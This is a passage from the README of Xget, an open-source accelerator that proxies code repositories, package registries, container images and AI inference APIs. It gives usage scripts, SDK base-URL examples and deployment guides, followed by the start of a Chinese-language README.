curl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi
# Get update center information
curl https://xget.xi-xu.me/jenkins/update-center.json
# Batch download common plugins
cat > download_jenkins_plugins.sh << 'EOF'
#!/bin/bash
# Define list of plugins to download
plugins=(
"git:5.2.1"
"maven-plugin:3.27"
"workflow-aggregator:596.v8c21c963d92d"
"blueocean:1.27.8"
"docker-workflow:563.vd5d2e5c4007f"
)
# Create plugin download directory
mkdir -p jenkins_plugins
# Batch download plugins
for plugin in "${plugins[@]}"; do
name=$(echo $plugin | cut -d: -f1)
version=$(echo $plugin | cut -d: -f2)
echo "Downloading plugin: $name v$version"
wget -P jenkins_plugins "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi"
done
echo "All plugins downloaded!"
EOF
chmod +x download_jenkins_plugins.sh
./download_jenkins_plugins.sh
```
#### Offline Jenkins Deployment
For Jenkins deployment in offline environments:
```bash
# 1. Download Jenkins core file
wget https://xget.xi-xu.me/jenkins/war/jenkins.war
# 2. Create plugin packaging script
cat > prepare_jenkins_offline.sh << 'EOF'
#!/bin/bash
# Create offline deployment directory structure
mkdir -p jenkins_offline/{plugins,update_center}
# Download update center configuration
curl -o jenkins_offline/update_center/update-center.json \
https://xget.xi-xu.me/jenkins/update-center.json
# Essential plugins list
essential_plugins=(
"ant:475.vf34069fef73c"
"build-timeout:1.31"
"credentials:1319.v7eb_51b_3a_c97b_"
"git:5.2.1"
"github:1.38.0"
"gradle:2.8.2"
"ldap:682.v7b_544c9d1512"
"mailer:463.vedf8358e006b_"
"matrix-auth:3.2.2"
"maven-plugin:3.27"
"pam-auth:1.10"
"pipeline-stage-view:2.34"
"ssh-slaves:2.973.v0fa_8c0dea_f9f"
"timestamper:1.26"
"workflow-aggregator:596.v8c21c963d92d"
"ws-cleanup:0.45"
)
# Download all essential plugins
for plugin in "${essential_plugins[@]}"; do
name=$(echo $plugin | cut -d: -f1)
version=$(echo $plugin | cut -d: -f2)
echo "Downloading $name:$version"
wget -P jenkins_offline/plugins \
"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi"
done
# Create deployment instructions
cat > jenkins_offline/deploy_instructions.md << 'DEPLOY'
# Jenkins Offline Deployment Instructions
1. Copy jenkins.war to target server
2. Start Jenkins: java -jar jenkins.war
3. Copy .hpi files from plugins/ directory to $JENKINS_HOME/plugins/
4. Restart Jenkins
DEPLOY
echo "Offline deployment package prepared!"
EOF
chmod +x prepare_jenkins_offline.sh
./prepare_jenkins_offline.sh
```
#### Use in Project
##### Plugin Check in Jenkinsfile
```groovy
pipeline {
agent any
stages {
stage('Check Plugin Availability') {
steps {
script {
// Check Maven plugin availability
def pluginUrl = "https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi"
try {
def response = httpRequest url: pluginUrl, httpMode: 'HEAD'
if (response.status == 200) {
echo "Maven plugin available: ${pluginUrl}"
}
} catch (Exception e) {
error "Maven plugin not available: ${e.message}"
}
}
}
}
stage('Build') {
steps {
// Your build steps
echo "Building with accelerated plugins..."
}
}
}
}
```
### Container Image Acceleration
#### Pull Images Directly
```bash
# Pull GitHub Container Registry images
docker pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
# Pull Google Container Registry images
docker pull xget.xi-xu.me/cr/gcr/distroless/base:latest
# Pull Microsoft Container Registry images
docker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0
```
#### Kubernetes Deployment Configuration
```yaml
# deployment.yaml - Use Xget's images
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
ports:
- containerPort: 80
- name: redis
image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine
ports:
- containerPort: 6379
```
#### Docker Compose Configuration
```yaml
# docker-compose.yml - Use Xget accelerated images
version: '3.8'
services:
web:
image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
ports:
- '80:80'
volumes:
- ./html:/usr/share/nginx/html
database:
image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest
environment:
ACCEPT_EULA: Y
SA_PASSWORD: 'MyStrongPassword123!'
volumes:
- mssql_data:/var/opt/mssql
cache:
image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine
ports:
- '6379:6379'
volumes:
mssql_data:
```
#### Dockerfile Optimization
```dockerfile
# Use Xget accelerated base images in Dockerfile
FROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
RUN npm run build
# Production stage
FROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
COPY --from=builder /app/dist /usr/share/nginx/html
# Use Microsoft Container Registry's .NET image
FROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime
WORKDIR /app
COPY --from=builder /app/publish .
ENTRYPOINT ["dotnet", "MyApp.dll"]
```
#### CI/CD Integration
```yaml
# GitHub Actions - Use Xget to accelerate container builds
name: Build and Deploy
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build with accelerated base images
run: |
# Build using Xget's base images
docker build -t myapp:latest \
--build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine .
- name: Test with accelerated images
run: |
# Test using accelerated images
docker run --rm \
xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \
dotnet --version
```
#### Podman Configuration
```bash
# Configure Podman to use Xget image acceleration
# Edit /etc/containers/registries.conf
[[registry]]
prefix = "ghcr.io"
location = "xget.xi-xu.me/cr/ghcr"
# Or pull directly
podman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest
podman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest
```
#### containerd Configuration
```toml
# Configure containerd to use Xget
# Edit /etc/containerd/config.toml
[plugins."io.containerd.grpc.v1.cri".registry.mirrors]
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."ghcr.io"]
endpoint = ["https://xget.xi-xu.me/cr/ghcr"]
[plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"]
endpoint = ["https://xget.xi-xu.me/cr/gcr"]
```
```bash
# Restart containerd
sudo systemctl restart containerd
```
### AI Inference API Acceleration
#### OpenAI API
```python
from openai import OpenAI
client = OpenAI(
api_key="your-api-key",
base_url="https://xget.xi-xu.me/ip/openai/v1", # Use Xget
)
response = client.responses.create(
model="gpt-5.1",
input="Hello, GPT!",
)
print(response.output_text)
```
#### Claude API
```python
from anthropic import Anthropic
client = Anthropic(
api_key="your-api-key",
base_url="https://xget.xi-xu.me/ip/anthropic", # Use Xget
)
message = client.messages.create(
model="claude-sonnet-4-5",
max_tokens=256,
messages=[
{
"role": "user",
"content": "Hello, Claude!",
}
],
)
print(message.content[0].text)
```
#### Gemini API
```python
from google import genai
from google.genai import types
client = genai.Client(
api_key="your-api-key",
http_options=types.HttpOptions(base_url="https://xget.xi-xu.me/ip/gemini"), # Use Xget
)
response = client.models.generate_content(
model="gemini-3-pro-preview",
contents="Hello, Gemini!",
)
print(response.text)
```
#### Multi-Provider Unified Interface
```python
from openai import OpenAI
providers = [
("Cohere", "your-cohere-api-key", "/cohere/compatibility/v1", "command-a-03-2025"),
("Mistral", "your-mistral-api-key", "/mistralai/v1", "mistral-medium-latest"),
("xAI", "your-xai-api-key", "/xai/v1", "grok-4"),
]
for name, key, path, model in providers:
client = OpenAI(api_key=key, base_url="https://xget.xi-xu.me/ip" + path) # Use Xget
response = client.chat.completions.create(
model=model,
messages=[{"role": "user", "content": f"Hello, who are you?"}],
)
print(name, "=>", response.choices[0].message.content)
```
#### Use in JavaScript/Node.js
```javascript
// OpenAI API acceleration
import OpenAI from 'openai';
const openaiClient = new OpenAI({
apiKey: 'your-openai-api-key',
baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // Use Xget
});
async function chatWithGPT() {
const response = await openaiClient.responses.create({
model: 'gpt-5.1',
input: 'Hello, GPT!'
});
console.log(response.output_text);
}
// Claude API acceleration
import Anthropic from '@anthropic-ai/sdk';
const anthropicClient = new Anthropic({
apiKey: 'your-claude-api-key',
baseURL: 'https://xget.xi-xu.me/ip/anthropic' // Use Xget
});
async function chatWithClaude() {
const message = await anthropicClient.messages.create({
model: 'claude-sonnet-4-5',
max_tokens: 256,
messages: [
{
role: 'user',
content: 'Hello, Claude!'
}
]
});
console.log(message.content[0].text);
}
// Gemini API acceleration
import { GoogleGenAI } from '@google/genai';
const geminiClient = new GoogleGenAI({
apiKey: 'your-gemini-api-key'
});
async function chatWithGemini() {
const response = await geminiClient.models.generateContent({
model: 'gemini-3-pro-preview',
contents: 'Hello, Gemini!',
config: {
httpOptions: {
baseUrl: 'https://xget.xi-xu.me/ip/gemini' // Use Xget
}
}
});
console.log(response.text);
}
```
#### Environment Variable Configuration
```bash
# Configure in .env file
OPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai
ANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic
GEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini
COHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere
MISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai
GROQ_BASE_URL=https://xget.xi-xu.me/ip/groq
```
Then use in code:
```python
import os
from openai import OpenAI
# Read configuration from environment variables
client = OpenAI(
api_key=os.getenv("OPENAI_API_KEY"),
base_url=os.getenv("OPENAI_BASE_URL") # Automatically uses Xget
)
```
## 🚀 Deployment
### Deploy to Cloudflare Workers
1. **Fork this repository**:
[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **Get Cloudflare credentials**:
- Visit
[Account API tokens](https://dash.cloudflare.com/?to=/:account/api-tokens)
to create and note an API token, using the "Edit Cloudflare Workers"
template.
- Visit
[Workers and Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)
to note the Account ID.
3. **Configure GitHub Secrets**:
- Go to your GitHub repository → Settings → Secrets and variables → Actions
- Add the following secrets:
- `CLOUDFLARE_API_TOKEN`: Your API token
- `CLOUDFLARE_ACCOUNT_ID`: Your Account ID
4. **Trigger deployment**:
- Pushing code to the `main` branch will automatically trigger deployment
- Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.
will not trigger deployment
- You can also manually trigger deployment in the GitHub Actions page
5. **Bind custom domain** (optional): Bind your custom domain in the Cloudflare
Workers console
### Deploy to Cloudflare Pages
1. **Fork this repository**:
[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **Get Cloudflare credentials**:
- Visit
[Account API tokens](https://dash.cloudflare.com/?to=/:account/api-tokens)
to create and note an API token, using the "Edit Cloudflare Workers"
template.
- Visit
[Workers and Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)
to note the Account ID.
3. **Configure GitHub Secrets**:
- Go to your GitHub repository → Settings → Secrets and variables → Actions
- Add the following secrets:
- `CLOUDFLARE_API_TOKEN`: Your API token
- `CLOUDFLARE_ACCOUNT_ID`: Your Account ID
4. **Trigger deployment**:
- The repository will automatically convert Workers code to Pages-compatible
format and sync to the `pages` branch
- Pushing code to the `main` branch will automatically trigger sync and
deployment workflows
- Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.
will not trigger deployment
- You can also manually trigger deployment in the GitHub Actions page
5. **Bind custom domain** (optional): Bind your custom domain in the Cloudflare
Pages console
**Note**: The `pages` branch is automatically generated from the `main` branch.
Do not manually edit the `pages` branch as it will be overwritten by the sync
workflow.
### Deploy to EdgeOne Pages
1. **Fork this repository**:
[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **Get EdgeOne Pages API Token**:
- Visit
[China EdgeOne Console](https://console.cloud.tencent.com/edgeone/pages?tab=api)
or
[International EdgeOne Console](https://console.tencentcloud.com/edgeone/pages?tab=api)
to create and note an API Token
3. **Configure GitHub Secrets**:
- Go to your GitHub repository → Settings → Secrets and variables → Actions
- Add the following secret:
- `EDGEONE_API_TOKEN`: Your API Token
4. **Trigger deployment**:
- The repository will automatically convert Workers code to Pages-compatible
format and sync to the `pages` branch
- Pushing code to the `main` branch will automatically trigger sync and
deployment workflows
- Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.
will not trigger deployment
- You can also manually trigger deployment in the GitHub Actions page
5. **Bind custom domain** (optional): Bind your custom domain in the EdgeOne
Pages console
**Note**: The `pages` branch is automatically generated from the `main` branch.
Do not manually edit the `pages` branch as it will be overwritten by the sync
workflow.
### Deploy to Vercel
1. **Fork this repository**:
[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **Get Vercel credentials**:
- Visit [Vercel Account Settings](https://vercel.com/account/settings/tokens)
to create and note an Access Token
- Visit Team Settings to note the Team ID
- Visit project's Settings after creating a new project to note the Project
ID
3. **Configure GitHub Secrets**:
- Go to your GitHub repository → Settings → Secrets and variables → Actions
- Add the following secrets:
- `VERCEL_TOKEN`: Your Access Token
- `VERCEL_ORG_ID`: Your Team ID
- `VERCEL_PROJECT_ID`: Your Project ID
4. **Trigger deployment**:
- The repository will automatically convert Workers code to
Functions-compatible format and sync to the `functions` branch
- Pushing code to the `main` branch will automatically trigger sync and
deployment workflows
- Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.
will not trigger deployment
- You can also manually trigger deployment in the GitHub Actions page
5. **Bind custom domain** (optional): Bind your custom domain in the Vercel
console
**Note**: The `functions` branch is automatically generated from the `main`
branch. Do not manually edit the `functions` branch as it will be overwritten by
the sync workflow.
### Deploy to Netlify
1. **Fork this repository**:
[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **Get Netlify credentials**:
- Visit [Netlify User Settings](https://app.netlify.com/user/applications) to
create and note a personal access token
- Visit Project configuration after creating a new project to note the
Project ID
3. **Configure GitHub Secrets**:
- Go to your GitHub repository → Settings → Secrets and variables → Actions
- Add the following secrets:
- `NETLIFY_AUTH_TOKEN`: Your personal access token
- `NETLIFY_SITE_ID`: Your Project ID
4. **Trigger deployment**:
- The repository will automatically convert Workers code to
Functions-compatible format and sync to the `functions` branch
- Pushing code to the `main` branch will automatically trigger sync and
deployment workflows
- Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc.
will not trigger deployment
- You can also manually trigger deployment in the GitHub Actions page
5. **Bind custom domain** (optional): Bind your custom domain in the Netlify
console
**Note**: The `functions` branch is automatically generated from the `main`
branch. Do not manually edit the `functions` branch as it will be overwritten by
the sync workflow.
### Deploy to Deno Deploy
1. **Fork this repository**:
[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)
2. **Switch default branch**:
- Go to your GitHub repository → Settings → General → Default branch
- Switch the default branch from `main` to `functions`
3. **Deploy to Deno Deploy**:
- Follow the
[Deno Deploy official documentation](https://docs.deno.com/deploy/getting_started/)
for deployment
- Create a new project in the Deno Deploy console and connect your GitHub
repository
4. **Bind custom domain** (optional): Bind your custom domain in the Deno Deploy
console
**Note**: The `functions` branch is automatically generated from the `main`
branch. Do not manually edit the `functions` branch as it will be overwritten by
the sync workflow.
### Self-Hosted Deployment
If you prefer to run Xget on your own server, you can use Docker or Podman
deployment:
#### Using Pre-built Image
Pull and run the pre-built image from GitHub Container Registry:
**Using Docker:**
```bash
# Pull the latest image
docker pull ghcr.io/xixu-me/xget:latest
# Run the container
docker run -d \
--name xget \
-p 8080:8080 \
ghcr.io/xixu-me/xget:latest
```
**Using Podman:**
```bash
# Pull the latest image
podman pull ghcr.io/xixu-me/xget:latest
# Run the container
podman run -d \
--name xget \
-p 8080:8080 \
ghcr.io/xixu-me/xget:latest
```
#### Building Locally
Build the container image from source:
**Using Docker:**
```bash
# Clone the repository
git clone https://github.com/xixu-me/Xget.git
cd Xget
# Build the image
docker build -t xget:local .
# Run the container
docker run -d \
--name xget \
-p 8080:8080 \
xget:local
```
**Using Podman:**
```bash
# Clone the repository
git clone https://github.com/xixu-me/Xget.git
cd Xget
# Build the image
podman build -t xget:local .
# Run the container
podman run -d \
--name xget \
-p 8080:8080 \
xget:local
```
#### Using Docker Compose / Podman Compose
Create a `docker-compose.yml` file:
```yaml
version: '3.8'
services:
xget:
image: ghcr.io/xixu-me/xget:latest
container_name: xget
ports:
- '8080:8080'
restart: unless-stopped
```
**Using Docker Compose:**
```bash
docker compose up -d
```
**Using Podman Compose:**
```bash
podman compose up -d
```
After deployment, Xget will run on port 8080.
If you want to deploy and run Xget on DigitalOcean, please refer to
_[Deploying and Optimizing Xget on DigitalOcean](docs/deploy-on-digitalocean.md)_.
By signing up via the referral link below, you can receive USD 200 in credits to
try Droplets, Kubernetes, App Platform, and more:
**Note**: Self-hosted deployment does not include global edge network
acceleration. Performance depends on your server configuration and network
environment.
## 🔧 Configuration
### Configuration Parameters
You can customize configuration by modifying `src/config/index.js`:
```javascript
export const CONFIG = {
TIMEOUT_SECONDS: 30, // Request timeout (seconds)
MAX_RETRIES: 3, // Maximum retry count
RETRY_DELAY_MS: 1000, // Retry delay (milliseconds)
CACHE_DURATION: 1800, // Cache duration (1800 seconds = 30 minutes)
SECURITY: {
ALLOWED_METHODS: ['GET', 'HEAD'], // Base allowlist for regular requests; protocol traffic has broader built-in allowances
ALLOWED_ORIGINS: ['*'], // Allowed CORS origins
MAX_PATH_LENGTH: 2048 // Maximum path length (characters)
}
};
```
### Performance Tuning Recommendations
- **Cache Optimization**: Adjust `CACHE_DURATION` based on usage patterns,
reduce appropriately for frequently updated repositories
- **Timeout Settings**: Increase `TIMEOUT_SECONDS` appropriately for poor
network conditions
- **Retry Strategy**: Increase `MAX_RETRIES` and `RETRY_DELAY_MS` in
high-latency environments
### Adding New Platforms
To add support for new platforms, update the platform catalog and, if needed,
the path transformers:
```javascript
// src/config/platform-catalog.js
export const PLATFORM_CATALOG = {
// Existing platforms...
custom: 'https://example.com'
};
// src/routing/platform-transformers.js
const PLATFORM_PATH_TRANSFORMERS = {
custom: path => path.replace(/^\/custom\//, '/')
};
```
## 🚧 Development
1. **Repository Setup**
```bash
git clone https://github.com/xixu-me/Xget.git
cd Xget
npm install
npx wrangler login # First time use
```
2. **Local Development**
```bash
npm run dev # Start development server (http://localhost:8787)
npm run test:run # Run complete test suite
npm run test:coverage # Generate test coverage report
npm run lint # Code linting
npm run format # Code formatting
npm run deploy # Deploy to production
```
## 🧪 Testing
The repository includes a complete test suite to ensure code quality and
functional correctness.
### Complete Testing
```bash
# Install test dependencies
npm install
# Run all tests
npm run test:run
# Generate coverage report
npm run test:coverage
# Watch mode
npm run test:watch
```
### Test Coverage
- **Unit Tests**: Core functionality, platform configuration, performance
monitoring
- **Integration Tests**: End-to-end processes, platform integration, Git
protocol
- **Security Tests**: Input validation, security headers, permission control
- **Performance Tests**: Response time, memory usage, concurrent processing
## 🔍 Troubleshooting
### Common Issues
**Q: No significant speed improvement?** A: Check if source files are already
cached at CDN edge nodes. Initial access may be slower, subsequent accesses will
be significantly faster.
**Q: Git operations failing?** A: Confirm correct URL format is used and Git
client version supports HTTPS proxy.
**Q: Cannot access after deployment?** A: Check if Cloudflare Workers domain is
correctly bound, confirm `wrangler.toml` configuration is correct.
**Q: Getting 400 error?** A: Check URL path format, confirm platform prefix is
correctly used.
### Performance Monitoring
Performance metrics are returned in response headers:
- `X-Performance-Metrics`: Contains timing statistics for request stages
- `X-Cache-Status`: Shows cache hit status
### Log Debugging
In development environment, you can view detailed logs through Cloudflare
Workers console:
```bash
npx wrangler dev --log-level debug
```
## ⚠️ Disclaimer
- **Legal and Compliant Use**: This repository aims to provide unified
acceleration services for code repositories, package registries, AI inference
APIs, container images, models, datasets, and other legitimate developer
resources. Users must strictly comply with the laws and regulations of their
jurisdiction and the terms of service of relevant platforms. Any illegal use
is the sole responsibility of the user
- **Non-Affiliation and Independent Responsibility**: This repository has no
affiliation, agency, or partnership relationship with any third-party
platforms. Any fork, secondary development, redistribution, or derivative
version based on this repository is solely the responsibility of its
maintainer; authors, maintainers, and contributors bear no legal or joint
liability for the actions or consequences of derivative repositories
- **No Warranty and Limitation of Liability**: To the maximum extent permitted
by applicable law, this repository is provided "AS IS" without any express or
implied warranties (including but not limited to merchantability, fitness for
a particular purpose, non-infringement, etc.). Authors, maintainers, and
contributors assume no responsibility for any direct or indirect losses
(including but not limited to data loss, business interruption, profit loss,
etc.) resulting from the use of this repository
- **Risk Assumption Principle**: Users should independently assess usage risks,
ensure their use is legal and compliant, respect third-party rights, and must
not use this repository for any illegal, infringing, malicious, or improper
purposes
- **Third-Party Platform Compliance**: Users must comply with the terms of
service, API usage policies, rate limits, and copyright requirements of
relevant platforms, and avoid causing overload or interference to source
platforms. Each platform has the final interpretation right over its content,
services, and policies
- **Intellectual Property Protection**: Content obtained through this repository
is protected by respective copyright laws. Users must comply with relevant
licensing agreements, copyright notices, and terms of use, and must not engage
in any activities that infringe intellectual property rights
- **Security Recommendations**: Although this repository adopts a no-log
architecture and does not store user request data, due to inherent risks of
internet transmission, users are advised to perform security scans on
downloaded content, especially for executable files and scripts
- **Open Source Nature**: This repository is open source. Authors and
contributors are not obligated to provide technical support, bug fixes, or
continuous maintenance. The inclusion of external contributions does not
constitute endorsement or commitment to specific uses or effects
- **Name Usage Guidelines**: Any representations that may imply authors or
contributors provide commercial cooperation, technical support, guarantees, or
endorsements are strictly prohibited. The use of repository names or author
identifiers must comply with relevant laws and regulations as well as general
norms
- **Disclaimer Updates**: This disclaimer may be updated and revised as the
repository develops or legal environments change. Continued use, copying,
distribution, or modification of this repository constitutes acceptance of the
latest version of this disclaimer
## 🤝 Contributing
We welcome all forms of contribution! Please check the
[Contributing Guide](CONTRIBUTING.md) to learn how to participate in repository
development.
1. **Report Issues**: Use
[issue templates](https://github.com/xixu-me/Xget/issues/new/choose) to
report bugs or propose feature requests
2. **Submit Code**: Fork the repository, create a feature branch, submit a pull
request
3. **Improve Documentation**: Fix errors, add examples, improve descriptions
4. **Testing Feedback**: Test in different environments and provide feedback
## 🌟 Star History
## 📝 License
Copyright © Xi Xu.
This repository is licensed under the AGPL-3.0 License - see the
[LICENSE](LICENSE) file for details.
---
**If this repository helps you, please consider giving it a ⭐ star!**
Made with ❤️ by [Xi Xu](https://xi-xu.me)
[](https://dartnode.com 'Powered by DartNode - Free VPS for Open Source')
================================================
FILE: README.zh-Hans.md
================================================
# Xget 🚀
[](https://zread.ai/xixu-me/Xget)
[](https://deepwiki.com/xixu-me/Xget)
[](https://codecov.io/github/xixu-me/xget)
[](#-生态系统集成)
[](#-生态系统集成)
[](#部署到-cloudflare-workers)
[](#部署到-edgeone-pages)
[](#部署到-vercel)
[](#部署到-netlify)
[](#部署到-deno-deploy)
[](#自托管部署)
[](#自托管部署)
[English](README.md) | **汉语(简体)** | [漢語(繁體)](README.zh-Hant.md)
[](#github)
[](#gitlab)
[](#gitea)
[](#codeberg)
[](#sourceforge)
[](#aosp-android-%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE)
[](#hugging-face-镜像)
[](#civitai-ai-模型平台)
[](#npm-包管理加速)
[](#python-包管理加速)
[](#conda-包管理加速)
[](#maven-包管理加速)
[](#apache-软件下载加速)
[](#gradle-包管理加速)
[](#homebrew-包管理加速)
[](#ruby-包管理加速)
[](#r-包管理加速)
[](#perl-包管理加速)
[](#texlatex-包管理加速)
[](#go-模块加速)
[](#nuget-包管理加速)
[](#rust-包管理加速)
[](#php-包管理加速)
[](#flathub-存储库镜像)
[](#debianubuntu-apt-配置)
[](#debianubuntu-apt-配置)
[](#fedora-dnf-配置)
[](#rocky-linux-dnf-配置)
[](#opensuse-zypper-配置)
[](#arch-linux-pacman-配置)
[](#arxiv-论文下载)
[](#f-droid-存储库镜像)
[](#jenkins-插件下载)
[](#容器注册表)
[](#ai-推理提供商)
面向开发者资源的超高性能、安全、一体化加速引擎,其性能显著优于传统解决方案,为代码存储库、模型和数据集中心、软件包注册表、容器注册表、AI 推理提供商等提供统一、高效的加速。
技术深度解析文章已发布:**[《深入剖析 Xget:一个高性能、多协议、高安全性的开发者资源加速引擎》](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)**。
Xget 已受邀入驻
[GitCode 平台](https://gitcode.com/xixu-me/xget),并被认证为 G-Star 毕业项目;同时也获得多位技术博主自发推荐,包括[阮一峰](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget)、[GitHubDaily](https://x.com/i/status/1956204203937829256)、[鱼 C](https://www.bilibili.com/video/BV1EeeBzVEop/)、[玄离 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8)
等。在此感谢 GitCode 的认可,也感谢每一位分享、推荐和实际使用 Xget 的朋友。
## 🎯 快速使用
**预部署实例(不保证可靠性):`xget.xi-xu.me`**
**URL 转换器:**[**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - 一键转换任意支持平台的 URL 为 Xget 的加速格式
**Agent Skills:**[**`skills/xget/`**](skills/xget/) - 可以作为独立的 `/xget`
目录直接安装到 skills 目录中
## 🌟 核心优势 - 为什么选择 Xget?
### ⚡ 极速性能 - 突破传统加速器瓶颈
- **⚡ 毫秒级响应**:Cloudflare 全球 330+ 边缘节点,平均响应时间 < 50ms
- **🌐
HTTP/3 极速协议**:启用最新 HTTP/3 协议,连接延迟降低 40%,传输速度提升 30%
- **📦 智能多重压缩**:gzip、deflate、brotli 三重压缩算法,传输效率提升 60%
- **🔗 零延迟预连接**:连接预热和保持活跃,消除握手开销,实现秒级响应
- **⚡ 并行分片下载**:完整支持 HTTP Range 请求,多线程下载速度倍增
- **🎯 智能路由优化**:自动选择最优传输路径,避开网络拥堵节点
### 🌐 多平台深度集成
- **一站式多平台支持**:统一支持各种开发场景中的主流平台
- **智能识别与转换**:自动识别平台前缀并转换为目标平台的正确 URL 结构
- **一致的加速体验**:无论文件类型或来源,均可享受统一且稳定的极速下载体验
### 🔒 企业级安全保障
- **多层安全标头**:
- `Strict-Transport-Security`:强制 HTTPS 传输,预防中间人攻击
- `X-Frame-Options: DENY`:防止点击劫持攻击
- `X-XSS-Protection`:内置 XSS 防护机制
- `Content-Security-Policy`:严格的内容安全策略
- `Referrer-Policy`:控制引用信息泄露
- **请求验证机制**:
- HTTP 方法白名单:常规请求限制为 GET/HEAD,而 Git/LFS、容器镜像仓库、AI 推理和 Hugging
Face API 请求会按需允许 `POST`、`PUT`、`PATCH` 和 `DELETE`
- 路径长度限制:防止超长 URL 攻击(最大 2048 字符)
- 输入清理:防止路径遍历和注入攻击
- **超时保护**:30 秒请求超时,防止资源耗尽和恶意请求
### 🚀 现代架构与可靠性
- **智能重试机制**:
- 最大 3 次重试,线性延迟策略(1000ms × 重试次数)
- 自动错误恢复,提高下载成功率
- 超时检测和中断处理
- **高效缓存策略**:
- 1800 秒(30 分钟)默认缓存时长,显著减少源站压力
- Git 操作跳过缓存,确保实时性
- 基于 Cloudflare Cache API 的边缘缓存
- **性能监控系统**:
- 内置 `PerformanceMonitor` 类,实时追踪请求各阶段耗时
- 通过 `X-Performance-Metrics` 响应头提供详细性能数据
- 支持缓存命中率统计和优化建议
### 🎯 Git 协议完全兼容
- **智能协议检测**:
- 自动识别 Git 特定端点(`/info/refs`、`/git-upload-pack`、`/git-receive-pack`)
- 检测 Git 客户端 User-Agent 模式
- 支持 `service=git-upload-pack` 等查询参数
- **完整操作支持**:
- `git clone`:完整存储库克隆,支持浅克隆和分支指定
- `git push`:代码推送和分支管理
- `git pull/fetch`:增量更新和远程同步
- `git submodule`:子模块递归克隆
- **协议优化**:
- 保持 Git 专用请求头和认证信息
- 智能 User-Agent 处理(默认 `git/2.34.1`)
- 支持 Git LFS 大文件传输
### 📱 生态系统集成
- **专用浏览器扩展**:[Xget Now](https://github.com/xixu-me/Xget-Now)
提供无缝体验
- 自动 URL 重定向,无需手动修改 URL
- 支持自定义 Xget 实例域名
- 多平台偏好设置和黑白名单管理
- 本地处理,确保隐私安全
- **下载工具兼容**:完美支持 wget、cURL、aria2、IDM 等主流下载工具
- **CI/CD 集成**:可直接在 GitHub Actions、GitLab CI 等环境中使用
## 🏗️ 系统架构
### 请求处理流程
```mermaid
graph TD
Request[用户请求 / User-Agent] --> Identify{识别平台}
Identify -->|无效| Error[返回错误]
Identify -->|有效| Transform[转换路径]
Transform --> CheckProtocol{检查协议}
CheckProtocol -->|Git| GitHandler[Git 协议适配器]
CheckProtocol -->|Docker| DockerHandler[Docker 协议适配器]
CheckProtocol -->|AI| AIHandler[AI 推理适配器]
CheckProtocol -->|标准| StdHandler[标准适配器]
GitHandler --> Upstream[获取上游]
DockerHandler --> Upstream
AIHandler --> Upstream
StdHandler --> CacheCheck{检查缓存}
CacheCheck -->|命中| ReturnCache[返回缓存响应]
CacheCheck -->|未命中| Upstream
Upstream -->|成功| ProcessResponse[处理响应]
Upstream -->|失败| Retry{重试?}
Retry -->|是| Wait["等待 (退避)"] --> Upstream
Retry -->|否| Error
ProcessResponse --> Finalize[添加标头并返回]
Finalize --> Response[响应]
```
### 组件架构
```mermaid
classDiagram
class Worker {
+fetch(request)
}
class AppHandler {
+handleRequest(request, env, ctx)
}
class PlatformCatalog {
+PLATFORM_CATALOG
}
class PlatformRouting {
+transformPath()
+resolveTarget()
}
class Validation {
+validateRequest()
+isDockerRequest()
}
class GitProtocol {
+configureGitHeaders()
+isGitRequest()
}
class DockerProtocol {
+handleDockerAuth()
+fetchToken()
}
class AIProtocol {
+configureAIHeaders()
}
class UpstreamPipeline {
+tryReadCachedResponse()
+fetchUpstreamResponse()
}
class ResponsePipeline {
